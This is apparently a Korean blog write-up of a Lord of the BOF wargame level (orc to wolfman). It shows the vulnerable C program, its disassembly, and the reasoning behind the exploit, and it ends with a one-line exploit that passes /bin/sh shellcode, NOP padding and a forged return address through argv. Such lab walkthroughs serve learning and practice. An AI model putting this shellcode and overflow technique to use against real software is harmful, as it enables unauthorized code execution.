-
lvl 05 orc -> wolfmanWargame/HackerSchool The Load of the BOF Redhat 2019. 3. 11. 09:12
→ 소스코드는 아래와 같다.
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - wolfman
4 - egghunter + buffer hunter
5 */
6
7 #include <stdio.h>
8 #include <stdlib.h>
9
10 extern char **environ;
11
12 main(int argc, char *argv[])
13 {
14 char buffer[40];
15 int i;
16
17 if(argc < 2){
18 printf("argv error\n");
19 exit(0);
20 }
21
22 // egghunter
23 for(i=0; environ[i]; i++)
24 memset(environ[i], 0, strlen(environ[i]));
25
26 if(argv[1][47] != '\xbf')
27 {
28 printf("stack is still your friend.\n");
29 exit(0);
30 }
31 strcpy(buffer, argv[1]);
32 printf("%s\n", buffer);
33
34 // buffer hunter
35 memset(buffer, 0, 40);
36 }
→ 어셈블리 코드는 아래와 같다.
0x8048500
0x8048501
0x8048503
0x8048506
0x804850a
0x804850c
0x8048511
0x8048516
0x8048519
0x804851b
0x8048520
0x8048523
0x8048524
0x804852b
0x804852c
0x8048530
0x8048533
0x804853a
0x804853f
0x8048543
0x8048545
0x8048547
0x804854a
0x8048551
0x8048556
0x8048559
0x804855a
0x804855f
0x8048562
0x8048564
0x8048565
0x8048567
0x804856a
0x8048571
0x8048576
0x8048579
0x804857a
0x804857f
0x8048582
0x8048585
0x8048587
0x804858a
0x804858d
0x804858f
0x8048592
0x8048595
0x8048597
0x804859c
0x80485a1
0x80485a4
0x80485a6
0x80485ab
0x80485ae
0x80485b0
0x80485b3
0x80485b6
0x80485b8
0x80485b9
0x80485bc
0x80485bd
0x80485c2
0x80485c5
0x80485c8
0x80485c9
0x80485ce
0x80485d3
0x80485d6
0x80485d8
0x80485da
0x80485dd
0x80485de
0x80485e3
0x80485e6
0x80485e7
<main>
<main+1>
<main+3>
<main+6>
<main+10>
<main+12>
<main+17>
<main+22>
<main+25>
<main+27>
<main+32>
<main+35>
<main+36>
<main+43>
<main+44>
<main+48>
<main+51>
<main+58>
<main+63>
<main+67>
<main+69>
<main+71>
<main+74>
<main+81>
<main+86>
<main+89>
<main+90>
<main+95>
<main+98>
<main+100>
<main+101>
<main+103>
<main+106>
<main+113>
<main+118>
<main+121>
<main+122>
<main+127>
<main+130>
<main+133>
<main+135>
<main+138>
<main+141>
<main+143>
<main+146>
<main+149>
<main+151>
<main+156>
<main+161>
<main+164>
<main+166>
<main+171>
<main+174>
<main+176>
<main+179>
<main+182>
<main+184>
<main+185>
<main+188>
<main+189>
<main+194>
<main+197>
<main+200>
<main+201>
<main+206>
<main+211>
<main+214>
<main+216>
<main+218>
<main+221>
<main+222>
<main+227>
<main+230>
<main+231>
push %ebp
mov %ebp,%esp
sub %esp,44
cmp DWORD PTR [%ebp+8],1
jg 0x8048523 <main+35>
push 0x8048640
call 0x8048410 <printf>
add %esp,4
push 0
call 0x8048420 <exit>
add %esp,4
nop
mov DWORD PTR [%ebp-44],0x0
nop
lea %esi,[%esi*1]
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049760
cmp DWORD PTR [%eax+%edx],0
jne 0x8048547 <main+71>
jmp 0x8048587 <main+135>
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049760
mov %edx,DWORD PTR [%eax+%edx]
push %edx
call 0x80483f0 <strlen>
add %esp,4
mov %eax,%eax
push %eax
push 0
mov %eax,DWORD PTR [%ebp-44]
lea %edx,[%eax*4]
mov %eax,%ds:0x8049760
mov %edx,DWORD PTR [%eax+%edx]
push %edx
call 0x8048430 <memset>
add %esp,12
inc DWORD PTR [%ebp-44]
jmp 0x8048530 <main+48>
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
add %edx,47
cmp BYTE PTR [%edx],0xbf
je 0x80485b0 <main+176>
push 0x804864c
call 0x8048410 <printf>
add %esp,4
push 0
call 0x8048420 <exit>
add %esp,4
mov %esi,%esi
mov %eax,DWORD PTR [%ebp+12]
add %eax,4
mov %edx,DWORD PTR [%eax]
push %edx
lea %eax,[%ebp-40]
push %eax
call 0x8048440 <strcpy>
add %esp,8
lea %eax,[%ebp-40]
push %eax
push 0x8048669
call 0x8048410 <printf>
add %esp,8
push 40
push 0
lea %eax,[%ebp-40]
push %eax
call 0x8048430 <memset>
add %esp,12
leave
ret
→ 이번 문제는 환경변수 뿐만 아니라, 프로그램 종료 전 BUFFER의 내용도 0으로 초기화함으로써, 버퍼에 쉘 코드를 담을 수 없다. 따라서, RET 뒤쪽에 쉘 코드를 넣어야 한다. 즉, argv 인자에 쉘 코드를 넣고 RET 영역을 argv[1]의 시작주소로 변조하여 공격이 가능하다. 먼저 argv[1] 시작주소를 파악하기 위해 소스코드를 추가한다.
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
printf("[%#x]\n",argv[1]); // 추가된 소스 argv[1] 주소값 출력
}
→ 스택 구조는 아래와 같다.
→ argv[1] 주소 파악한 후, 다음과 같은 페이로드를 구성할 수 있다.
→ 구성한 페이로드를 바탕으로, 아래와 같은 공격을 수행한다.
./wolfman $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*20+"\x2b\xfc\xff\xbf"')
→ 결과는 아래와 같다.
'Wargame > HackerSchool The Load of the BOF Redhat' 카테고리의 다른 글
lvl 07 darkelf ->arge (0) 2019.03.14 lvl 06 wolfman -> darkelf (0) 2019.03.11 lvl 04 goblin -> orc (0) 2019.03.08 lvl 03 cobolt -> goblin (0) 2019.01.22 lvl 02 gremlin -> cobolt (0) 2019.01.13 댓글